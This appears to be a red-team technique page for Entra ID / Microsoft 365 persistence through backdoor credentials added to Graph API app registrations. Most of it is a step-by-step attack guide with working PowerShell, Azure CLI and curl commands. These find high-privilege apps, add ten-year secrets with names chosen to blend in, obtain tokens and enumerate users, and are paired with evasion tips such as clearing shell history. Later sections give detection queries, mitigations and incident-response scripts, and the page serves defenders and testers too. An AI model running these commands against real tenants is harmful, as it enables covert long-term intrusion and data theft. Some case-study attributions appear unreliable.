| Attribute | Details |
|---|---|
| Technique ID | PERSIST-ACCT-005 |
| MITRE ATT&CK v18.1 | T1098 - Account Manipulation |
| Tactic | Persistence |
| Platforms | M365 / Entra ID |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-09 |
| Affected Versions | All (Platform: Entra ID, M365 tenants with Graph API enabled) |
| Patched In | N/A |
| Author | SERVTEP – Artur Pchelnikau |
Graph API Application Persistence leverages compromised or attacker-controlled app registrations in Entra ID to maintain long-term access to Microsoft 365 environments. By adding credentials (secrets or certificates) to an application registration with existing Graph API permissions (such as Mail.Read, Directory.ReadWrite.All, or RoleManagement.ReadWrite.Directory), an attacker can authenticate as a service principal and bypass user account detection. This technique is particularly effective because service principals do not require multi-factor authentication (MFA) and can operate silently without generating user login events. Unlike user accounts that may be discovered through anomalous sign-in patterns, service principals with Graph permissions can access resources persistently with minimal forensic evidence.
The attack surface includes:
https://entra.microsoft.com or PowerShell)Unauthorized data exfiltration, privilege escalation, and sustained tenant compromise. An attacker with persistent Graph API access can enumerate all users and groups, read mailboxes, create new user accounts, modify policies, and maintain backdoor access even after initial compromise is remediated. This technique was leveraged extensively during the Midnight Blizzard attack against Microsoft, where attackers created malicious OAuth applications to maintain persistent access after compromising legacy test environments.
Graph API persistence typically takes 2-10 minutes to establish (once an attacker has compromised an account with app registration permissions). The technique generates minimal direct alerts—modern SIEM solutions may flag credential additions to applications, but only if properly configured. Detection difficulty: Medium (requires monitoring of Add service principal credentials audit events and Update application - Certificates and secrets management operations in unified audit logs). The attack chain typically follows privilege escalation, where an attacker with compromised user credentials or service principal permissions escalates to Global Admin, then creates backdoored applications before cleaning up audit logs.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 3.1.1 | Ensure that Azure AD Multi-Factor Authentication status is ‘Enabled’ for all non-federated users |
| CIS Benchmark | 3.1.3 | Ensure that ‘Number of methods required to reset’ is set to ‘2’ for MFA |
| DISA STIG | V-222644 | The organization must use FIPS-validated cryptographic algorithms for identity and authentication mechanisms. |
| NIST 800-53 | AC-3 | Access Enforcement – API permissions must be enforced at the application level |
| NIST 800-53 | AC-6 | Least Privilege – Applications must be granted only necessary Graph API permissions |
| NIST 800-53 | IA-4 | Identifier Management – Service principal credentials must be uniquely tracked |
| NIST 800-53 | AU-2 | Audit Events – Credential additions and API access must be logged |
| NIST 800-53 | SC-7 | Boundary Protection – Graph API calls from service principals must be restricted |
| GDPR | Art. 32 | Security of Processing – Organizations must employ encryption and access controls for API credentials |
| GDPR | Art. 5(1)(b) | Integrity and Confidentiality – Unauthorized API access violates data integrity assurances |
| DORA | Art. 6 | Governance of ICT third-party risk – Third-party API integrations and credentials must be monitored |
| DORA | Art. 9 | Protection and Prevention measures – ICT services must have multi-layered credential protection |
| NIS2 | Art. 21 | Cyber risk management measures – Credential rotation and access control are mandatory controls |
| NIS2 | Art. 25 | Advanced cybersecurity tools – Organizations must deploy detection systems for API abuse |
| ISO 27001 | A.9.2.1 | User registration and de-registration – Service principal lifecycle must be managed |
| ISO 27001 | A.9.2.3 | Management of privileged access rights – Application permissions assignment requires approval |
| ISO 27001 | A.9.2.6 | Restriction of access to information – API access tokens must be protected and rotated |
| ISO 27005 | Risk scenario | Compromise of API credentials leading to data exfiltration and privilege escalation |
https://login.microsoftonline.com (OAuth 2.0 token endpoint)https://graph.microsoft.com (Graph API endpoint)AzureAD (deprecated but still functional; use New-AzureADApplicationPasswordCredential or New-AzureADServicePrincipalPasswordCredential)Microsoft.Graph PowerShell SDK (recommended; use Add-MgApplicationPassword for modern approaches)Az.Accounts and Az.Resources for modern Azure CLI workflowsObjective: Identify existing app registrations and verify which applications have high-risk Graph permissions.
# Connect to Microsoft Graph
Connect-MgGraph -Scopes "Application.Read.All"
# List all app registrations (service principals) in the tenant
Get-MgApplication | Select-Object Id, DisplayName, AppId | Format-Table
# Find apps with high-risk permissions
Get-MgApplication | ForEach-Object {
$appId = $_.Id
$displayName = $_.DisplayName
$requiredResourceAccess = $_.RequiredResourceAccess
# Check for dangerous Graph API permissions
if ($requiredResourceAccess.ResourceAppId -eq "00000003-0000-0000-c000-000000000000") {
$dangerousPermissions = @("Directory.ReadWrite.All", "Mail.Read.All", "RoleManagement.ReadWrite.Directory", "User.ManageIdentities.All")
$permissions = $requiredResourceAccess.ResourceAccess | Where-Object { $dangerousPermissions -contains $_.Id }
if ($permissions) {
Write-Host "RISK: $displayName ($appId) has dangerous permissions"
}
}
}
# Check current service principal credentials (requires Admin role)
Get-MgServicePrincipal -All | Where-Object { $_.ServicePrincipalType -eq "Application" } | ForEach-Object {
$spId = $_.Id
$displayName = $_.DisplayName
# List credentials
Get-MgServicePrincipalPasswordCredential -ServicePrincipalId $spId | Select-Object DisplayName, StartDateTime, EndDateTime
}
What to Look For:
Directory.ReadWrite.All, Mail.Read.All, RoleManagement.ReadWrite.Directory, or User.ManageIdentities.All permissions (these are red flags for persistence)ModifiedDateTime)Version Note: This reconnaissance approach works on all current Entra ID versions. The AzureAD module is deprecated but still functional; Microsoft.Graph module is the modern replacement.
# Login to Azure
az login --allow-no-subscriptions
# List app registrations
az ad app list --output table
# Get details of a specific app
az ad app show --id <ApplicationID> --output json | jq '.displayName, .id'
# List service principals and their credentials
az ad sp list --output table
# Check password credentials on a specific service principal
az ad sp credential list --id <ServicePrincipalID> --output json
What to Look For:
Supported Versions: All Entra ID versions; requires compromise of account with app registration permissions
Objective: Authenticate as a user or service principal that has owner/administrator permissions on the target app.
# Using compromised user credentials
$credential = Get-Credential # Prompts for username and password
Connect-AzureAD -Credential $credential
# Or using service principal credentials (if attacker already has service principal access)
$password = ConvertTo-SecureString "CompromisedServicePrincipalSecret" -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential("ApplicationID", $password)
Connect-AzureAD -Credential $credential
Expected Output:
Account EnvironmentName TenantId TenantDomain AccountType
------- --------------- -------- ----------- -----------
user@contoso.onmicr... AzureCloud xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx contoso.onmicrosoft.com User
What This Means:
TenantId will be used in subsequent stepsOpSec & Evasion:
powershell.exe -ExecutionPolicy Bypass -NoProfileTroubleshooting:
Connect-AzureAD : AADSTS65001: User or admin has not consented
Objective: Locate the app registration to which you’ll add a backdoor credential.
# Get all app registrations
$appRegistrations = Get-AzureADApplication
# Find high-privilege applications (preferably ones with existing high-risk permissions)
$appRegistrations | Where-Object {
$_.DisplayName -like "*admin*" -or $_.DisplayName -like "*service*" -or $_.DisplayName -like "*api*"
} | Select-Object ObjectId, DisplayName, AppId
# Alternatively, target a specific app by name
$targetApp = Get-AzureADApplication -SearchString "YourTargetAppName"
Write-Host "Target App ObjectId: $($targetApp.ObjectId)"
Expected Output:
ObjectId DisplayName AppId
-------- ----------- -----
aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee ServicePrincipal123 ffffffff-gggg-hhhh-iiii-jjjjjjjjjjjj
What This Means:
ObjectId is the unique identifier for the app registration within Entra IDOpSec & Evasion:
Troubleshooting:
Cannot find any object with identity 'AppName'
Get-AzureADApplication -All $true to list all apps; then check permissions with Get-AzureADApplicationOwnerObjective: Create a new secret/password credential that only the attacker knows, enabling persistent authentication.
# Add a new password credential with a far-future expiration date
$startDate = Get-Date
$endDate = $startDate.AddYears(10) # Expires 10 years from now (evades expiration monitoring)
$newCredential = New-AzureADApplicationPasswordCredential `
-ObjectId $targetApp.ObjectId `
-CustomKeyIdentifier "SERVTEP-Persistence-001" `
-StartDate $startDate `
-EndDate $endDate `
-Value "Y0uR-Str0ng-P@ssw0rd-Str1ng-H3re!" # Attacker controls this value
Write-Host "New Credential Created!"
Write-Host "Secret Value: $($newCredential.Value)"
Write-Host "Application ID: $($targetApp.AppId)"
Write-Host "Tenant ID: $(Get-AzureADTenantDetail).ObjectId"
Expected Output:
New Credential Created!
Secret Value: Y0uR-Str0ng-P@ssw0rd-Str1ng-H3re!
Application ID: ffffffff-gggg-hhhh-iiii-jjjjjjjjjjjj
Tenant ID: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
What This Means:
Secret Value is the client secret; this is the credential the attacker will use for authenticationApplication ID and Tenant ID form the authentication triplet needed for OAuth token requestsOpSec & Evasion:
Troubleshooting:
New-AzureADApplicationPasswordCredential : Insufficient privileges
Objective: Test that the new credential works by obtaining a Graph API access token.
# Acquire an access token using the new credential
$tokenBody = @{
Grant_Type = "client_credentials"
Scope = "https://graph.microsoft.com/.default"
Client_Id = $targetApp.AppId
Client_Secret = "Y0uR-Str0ng-P@ssw0rd-Str1ng-H3re!"
}
$tokenResponse = Invoke-RestMethod -Uri "https://login.microsoftonline.com/$(Get-AzureADTenantDetail).ObjectId/oauth2/v2.0/token" `
-Method POST `
-Body $tokenBody
$accessToken = $tokenResponse.access_token
Write-Host "Access Token Acquired:"
Write-Host $accessToken
# Use token to query Microsoft Graph (e.g., list all users)
$headers = @{
"Authorization" = "Bearer $accessToken"
"Content-Type" = "application/json"
}
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/users?`$top=5" `
-Headers $headers -Method GET | ConvertTo-Json
Expected Output:
{
"@odata.context": "https://graph.microsoft.com/v1.0/$metadata#users",
"value": [
{
"id": "11111111-2222-3333-4444-555555555555",
"userPrincipalName": "user1@contoso.com",
"displayName": "User One",
...
}
]
}
What This Means:
OpSec & Evasion:
Troubleshooting:
invalid_client: The OAuth client was not found
Get-AzureADApplication to confirmSupported Versions: All Entra ID versions; requires Az.Accounts and Microsoft.Graph modules
Objective: Authenticate using modern Microsoft Graph API with delegated or application permissions.
# Install required modules if not present
Install-Module Microsoft.Graph -Scope CurrentUser -Force
Install-Module Az.Accounts -Scope CurrentUser -Force
# Connect with delegated permissions (user context)
Connect-MgGraph -Scopes "Application.ReadWrite.All", "Directory.ReadWrite.All"
# Or connect with application permissions (service principal context)
$tenantId = "your-tenant-id"
$clientId = "your-app-id"
$clientSecret = ConvertTo-SecureString "your-secret" -AsPlainText -Force
Connect-MgGraph -TenantId $tenantId -ClientId $clientId -ClientSecret $clientSecret
Expected Output:
Welcome To Microsoft Graph PowerShell!
You are now signed in to tenant 'contoso.onmicrosoft.com'
OpSec & Evasion:
Objective: Find the application registration with high-privilege Graph permissions.
# Get all applications and their permission assignments
$apps = Get-MgApplication -All
foreach ($app in $apps) {
$permissions = Get-MgApplicationPermission -ApplicationId $app.Id
if ($permissions.Name -match "Directory.ReadWrite.All|Mail.Read.All|RoleManagement.ReadWrite.Directory") {
Write-Host "High-Risk App: $($app.DisplayName) (ID: $($app.Id))"
Write-Host "Dangerous Permissions: $($permissions.Name -join ', ')"
}
}
# Get specific app by name
$targetApp = Get-MgApplication -Filter "displayName eq 'YourTargetAppName'"
Write-Host "Target App ID: $($targetApp.Id)"
OpSec & Evasion:
Objective: Add a new secret/password that the attacker controls.
# Define credential parameters
$passwordCredentialParams = @{
DisplayName = "PROD-API-KEY-2024-Q1" # Blend with legitimate naming conventions
EndDateTime = (Get-Date).AddYears(10) # 10-year expiration
}
# Add the password credential to the application
$newCredential = Add-MgApplicationPassword -ApplicationId $targetApp.Id @passwordCredentialParams
Write-Host "New Credential Added!"
Write-Host "Secret Value: $($newCredential.SecretText)" # SecretText is displayed only once
Write-Host "Credential ID: $($newCredential.KeyId)"
Write-Host "Expires: $($newCredential.EndDateTime)"
Expected Output:
New Credential Added!
Secret Value: mcl1RQm2H~7K-example-secret-value_
Credential ID: aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee
Expires: 1/9/2036 3:14:15 PM
OpSec & Evasion:
Supported Versions: All Entra ID versions; requires internet access and no module dependencies
Objective: Get a Graph API access token using OAuth 2.0 client credentials grant.
#!/bin/bash
# Variables
TENANT_ID="your-tenant-id"
CLIENT_ID="your-application-id"
CLIENT_SECRET="your-client-secret"
TOKEN_ENDPOINT="https://login.microsoftonline.com/$TENANT_ID/oauth2/v2.0/token"
# Request access token
TOKEN_RESPONSE=$(curl -s -X POST "$TOKEN_ENDPOINT" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "client_id=$CLIENT_ID" \
-d "client_secret=$CLIENT_SECRET" \
-d "scope=https://graph.microsoft.com/.default" \
-d "grant_type=client_credentials")
# Extract access token from response
ACCESS_TOKEN=$(echo $TOKEN_RESPONSE | jq -r '.access_token')
echo "Access Token: $ACCESS_TOKEN"
Expected Output:
Access Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ijl...
OpSec & Evasion:
.curl-history file with restricted permissionsObjective: Create a new secret credential on the target application.
#!/bin/bash
# Variables (from previous step)
APPLICATION_ID="target-app-object-id"
GRAPH_ENDPOINT="https://graph.microsoft.com/v1.0/applications/$APPLICATION_ID/addPassword"
# Create request body
REQUEST_BODY=$(cat <<EOF
{
"passwordCredential": {
"displayName": "PROD-API-KEY-2024-Q1",
"endDateTime": "2036-01-09T00:00:00Z"
}
}
EOF
)
# Add password credential
ADD_CREDENTIAL_RESPONSE=$(curl -s -X POST "$GRAPH_ENDPOINT" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d "$REQUEST_BODY")
# Extract and display the new secret
NEW_SECRET=$(echo $ADD_CREDENTIAL_RESPONSE | jq -r '.secretText')
echo "New Secret Value: $NEW_SECRET"
echo "Full Response:"
echo $ADD_CREDENTIAL_RESPONSE | jq '.'
Expected Output:
{
"customKeyIdentifier": null,
"displayName": "PROD-API-KEY-2024-Q1",
"endDateTime": "2036-01-09T00:00:00Z",
"hint": "mc...le",
"keyId": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee",
"secretText": "mcl1RQm2H~7K-example-secret-value_",
"startDateTime": "2025-01-09T14:32:45.1234567Z"
}
OpSec & Evasion:
echo $SECRET | commandhistory -c && history -wMitigation 1.1: Implement Application-Level Permission Restrictions
Restrict which applications can be granted dangerous Graph API permissions. Block permissions like Directory.ReadWrite.All, Mail.Read.All, and RoleManagement.ReadWrite.Directory unless explicitly required.
Manual Steps (Azure Portal):
Block Dangerous Graph PermissionsDirectory.ReadWrite.All, Mail.Read.All, RoleManagement.ReadWrite.DirectoryBlock application from being granted these permissionsAlternatively (PowerShell):
# Create an app permission policy (built-in Entra ID feature)
# This requires Entra ID Premium P1
# Get all applications with dangerous permissions
$dangerousApps = Get-MgServicePrincipal -All | Where-Object {
$_.AppRoles | Where-Object { $_.Value -in @("Directory.ReadWrite.All", "Mail.Read.All") }
}
# Remove dangerous permissions from non-critical applications
foreach ($app in $dangerousApps) {
if ($app.DisplayName -notmatch "(Admin|System|Core)") {
# Requires manual intervention to update required resource access
Write-Host "Review and reduce permissions for: $($app.DisplayName)"
}
}
Validation Command (Verify Fix):
# Check that dangerous permissions are restricted
Get-MgApplicationPermission -All | Where-Object {
$_.Name -in @("Directory.ReadWrite.All", "Mail.Read.All")
} | Select-Object DisplayName, PermissionName
Expected Output (If Secure):
DisplayName PermissionName
----------- --------------
(Empty or minimal results)
Mitigation 1.2: Enforce Multi-Factor Authentication for All Service Principals
Service principals bypass MFA by design. However, you can enforce MFA-equivalent protections via Conditional Access policies that target service principals.
Manual Steps (Azure Portal):
Require Certificate-Based Auth for Service PrincipalsAll guest and external users (to catch cross-tenant service principals)Other clientsAll platformsRequire device to be marked as compliant OR Require approved client appValidation Command (Verify Fix):
# Check Conditional Access policies
Get-MgIdentityConditionalAccessPolicy | Select-Object DisplayName, State
# Verify service principal token requests are logged
Search-UnifiedAuditLog -Operations "UserLoggedIn" -ResultSize 1 | Select-Object UserIds, ClientAppUsed
Mitigation 1.3: Implement Credential Rotation Policy
Force automatic rotation of service principal credentials to limit the window of exposure if a secret is compromised.
Manual Steps (PowerShell with Azure Automation or Logic Apps):
# Create a scheduled task to rotate service principal secrets
# Step 1: Create an Azure Automation Account
# Navigate to Azure Portal → Automation Accounts → + Create
# Step 2: Create a Runbook to rotate credentials
$runbookScript = @"
param(
[string]`$ApplicationId,
[string]`$TenantId,
[int]`$MaxAgeInDays = 90
)
# Connect to Azure
Connect-AzAccount -Identity
# Get the application
`$app = Get-AzADApplication -ApplicationId `$ApplicationId
# Get existing password credentials
`$credentials = Get-AzADAppCredential -ApplicationObjectId `$app.Id
# Check if any credential is older than MaxAgeInDays
foreach (`$cred in `$credentials) {
`$age = (Get-Date) - `$cred.StartDate
if (`$age.Days -gt `$MaxAgeInDays) {
Write-Host "Credential is `$(`$age.Days) days old. Rotating..."
# Remove old credential
Remove-AzADAppCredential -ApplicationObjectId `$app.Id -KeyId `$cred.KeyId -Force
# Create new credential
`$newCred = New-AzADAppCredential -ApplicationObjectId `$app.Id -EndDate (Get-Date).AddYears(1)
# Store new credential securely (e.g., in Azure Key Vault)
Write-Host "New credential created: `$(`$newCred.SecretText)"
}
}
"@
# Deploy to Azure Automation
# (Manual step: Create Automation Account, create Runbook, configure Schedule)
Validation Command (Verify Fix):
# Check that credentials are being rotated
Get-AzADAppCredential -ApplicationObjectId "<app-id>" | ForEach-Object {
$age = (Get-Date) - $_.StartDate
Write-Host "Credential age: $($age.Days) days"
}
Mitigation 2.1: Audit and Review Application Permissions Regularly
Conduct quarterly reviews of all app registrations and their assigned permissions.
Manual Steps:
PowerShell Script to Audit:
# Export all app permissions to CSV for review
$apps = Get-MgApplication -All
$report = @()
foreach ($app in $apps) {
$permissions = Get-MgApplicationPermission -ApplicationId $app.Id
foreach ($permission in $permissions) {
$report += [PSCustomObject]@{
"AppName" = $app.DisplayName
"AppId" = $app.Id
"PermissionName" = $permission.Name
"PermissionType" = "Application" # or "Delegated"
"Owner" = (Get-MgApplicationOwner -ApplicationId $app.Id).DisplayName -join ";"
}
}
}
$report | Export-Csv -Path "C:\Reports\AppPermissions_$(Get-Date -Format 'yyyyMMdd').csv"
Mitigation 2.2: Implement Credential Expiration Enforcement
Enforce maximum credential lifetime policies to limit the duration of compromised secrets.
Manual Steps (Azure Policy):
Enforce service principal credential expiration < 2 yearsresources | where type == "Microsoft.Authorization/roleDefinitions" | where properties.passwordCredentials[0].endDateTime > addyears(now(), 2)Mitigation 2.3: Monitor and Alert on Credential Additions
Detect when new credentials are added to applications (potential backdoor creation).
Manual Steps (Microsoft Sentinel KQL Query):
// Detect new service principal credentials added
AuditLogs
| where OperationName == "Add service principal credentials"
| extend InitiatedBy = tostring(InitiatedBy.user.userPrincipalName)
| extend TargetResources = tostring(TargetResources[0].displayName)
| project TimeGenerated, InitiatedBy, OperationName, TargetResources, Result
| where TimeGenerated > ago(24h)
Audit Events:
Add service principal credentialsUpdate application - Certificates and secrets managementAdd delegated permission grantAdd app role assignment to service principalSuspicious Patterns:
Directory.ReadWrite.All)Cloud Artifacts (Azure Audit Logs):
OperationName, UserPrincipalName, TargetResources, ModifiedProperties{
"CreationTime": "2025-01-09T14:32:45Z",
"UserPrincipalName": "attacker@contoso.com",
"OperationName": "Add service principal credentials",
"ResourceId": "/applications/aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee",
"ModifiedProperties": [
{
"Name": "keyId",
"NewValue": "bbbbbbbb-cccc-dddd-eeee-ffffffffffff"
}
]
}
PowerShell History (Local Endpoint):
C:\Users\<Username>\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txtNew-AzureADApplicationPasswordCredential, Add-MgApplicationPassword, Add-AzADAppCredentialToken Artifacts (Memory/Network):
Objective: Immediately revoke the service principal’s access to prevent further misuse.
# Disable the service principal
$servicePrincipal = Get-MgServicePrincipal -Filter "appId eq 'ffffffff-gggg-hhhh-iiii-jjjjjjjjjjjj'"
Update-MgServicePrincipal -ServicePrincipalId $servicePrincipal.Id -AccountEnabled:$false
Write-Host "Service principal disabled: $($servicePrincipal.DisplayName)"
Manual (Azure Portal):
Objective: Export audit logs and credential information before deletion.
# Export all service principal credentials (to identify backdoor credentials)
$servicePrincipal = Get-MgServicePrincipal -Filter "appId eq 'ffffffff-gggg-hhhh-iiii-jjjjjjjjjjjj'"
# Get password credentials
$passwordCredentials = Get-MgServicePrincipalPasswordCredential -ServicePrincipalId $servicePrincipal.Id
# Get certificate credentials
$certificateCredentials = Get-MgServicePrincipalKeyCredential -ServicePrincipalId $servicePrincipal.Id
# Export to JSON for forensic analysis
$passwordCredentials | ConvertTo-Json | Out-File "C:\Forensics\PasswordCredentials_$(Get-Date -Format 'yyyyMMdd').json"
$certificateCredentials | ConvertTo-Json | Out-File "C:\Forensics\CertificateCredentials_$(Get-Date -Format 'yyyyMMdd').json"
# Export audit logs
Search-UnifiedAuditLog -Operations "Add service principal credentials" -StartDate (Get-Date).AddDays(-90) `
| Export-Csv -Path "C:\Forensics\AuditLog_AppCredentialsAdded.csv"
Manual (Azure Portal):
Add service principal credentialsObjective: Remove all backdoor credentials from the application.
# Get service principal
$servicePrincipal = Get-MgServicePrincipal -Filter "appId eq 'ffffffff-gggg-hhhh-iiii-jjjjjjjjjjjj'"
# Get all password credentials
$credentials = Get-MgServicePrincipalPasswordCredential -ServicePrincipalId $servicePrincipal.Id
# Remove suspicious credentials (check dates, display names)
foreach ($cred in $credentials) {
if ($cred.DisplayName -match "Attacker|Backdoor|Persistence" -or $cred.EndDateTime -gt (Get-Date).AddYears(5)) {
Remove-MgServicePrincipalPasswordCredential -ServicePrincipalId $servicePrincipal.Id -PasswordCredentialId $cred.KeyId
Write-Host "Removed credential: $($cred.DisplayName)"
}
}
# Verify all credentials are removed
Get-MgServicePrincipalPasswordCredential -ServicePrincipalId $servicePrincipal.Id | ForEach-Object {
Write-Host "Remaining credential: $($_.DisplayName) - Created: $($_.StartDateTime)"
}
Objective: If the attacker used the service principal to escalate privileges, revert role assignments.
# Find all role assignments granted via this service principal
$servicePrincipal = Get-MgServicePrincipal -Filter "appId eq 'ffffffff-gggg-hhhh-iiii-jjjjjjjjjjjj'"
$roleAssignments = Get-MgRoleManagementDirectoryRoleAssignment -Filter "principalId eq '$($servicePrincipal.Id)'"
foreach ($assignment in $roleAssignments) {
Remove-MgRoleManagementDirectoryRoleAssignment -UnifiedRoleAssignmentId $assignment.Id
Write-Host "Removed role assignment: $($assignment.RoleDefinitionId)"
}
Objective: Determine what resources the service principal accessed during the compromise window.
Microsoft Sentinel Hunting Query:
// Find all Graph API calls from the compromised service principal
let SuspiciousAppId = "ffffffff-gggg-hhhh-iiii-jjjjjjjjjjjj";
SigninLogs
| where AppId == SuspiciousAppId
| summarize CallCount=count(), FirstAccess=min(TimeGenerated), LastAccess=max(TimeGenerated) by ResourceDisplayName, OperationName
| sort by CallCount desc
Manual (Audit Log Search):
Search all(leave blank)Search allServicePrincipalId == <ServicePrincipalID>| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | PERSIST-ACCT-004 | Compromise user account via phishing or password spray |
| 2 | Privilege Escalation | PE-VALID-010 | Escalate compromised user to Global Admin via role assignment |
| 3 | Persistence Setup | [PERSIST-ACCT-005] | Add backdoor credential to high-permission Graph API application |
| 4 | Persistence Maintenance | PERSIST-ACCT-006 | Add certificate credentials as alternative access method |
| 5 | Defense Evasion | EVADE-IMPAIR-007 | Disable or tamper with audit logging to hide evidence |
| 6 | Lateral Movement | LM-AUTH-003 | Use service principal to move between cloud tenants or to on-premises AD |
| 7 | Exfiltration | CA-TOKEN-004 | Use service principal access to exfiltrate mailbox data, Teams messages, or SharePoint files |
Target: Microsoft Corporation (corporate environment)
Timeline:
Technique Status: ACTIVE. Attackers created multiple OAuth applications with Directory.ReadWrite.All, RoleManagement.ReadWrite.Directory, and Mail.Read.All permissions. They added service principal credentials to these applications, enabling persistent access to the Microsoft corporate tenant and Exchange Online mailboxes. The malicious apps were registered under seemingly legitimate names (e.g., “Service Management API”, “Enterprise Integration Service”).
Impact:
Detection: Microsoft’s security team detected unusual activity when:
Reference:
Target: Fortune 500 financial services companies
Timeline:
Technique Status: ACTIVE. Scattered Spider employed similar Graph API persistence tactics to maintain access even after organizations revoked the initially compromised accounts. By adding credentials to legitimate-looking applications with high permissions, they were able to maintain “invisible” access.
Reference:
Target: U.S. Government agencies and enterprises using M365
Technique Status: ACTIVE. DEV-0537 targeted outdated and misconfigured app registrations with high Graph API permissions. They created additional malicious applications and assigned credentials, building persistence chains that survived initial remediation attempts.
Reference:
Last Updated: 2026-01-09
Status: Production-Ready
Classification: SERVTEP Proprietary Framework Documentation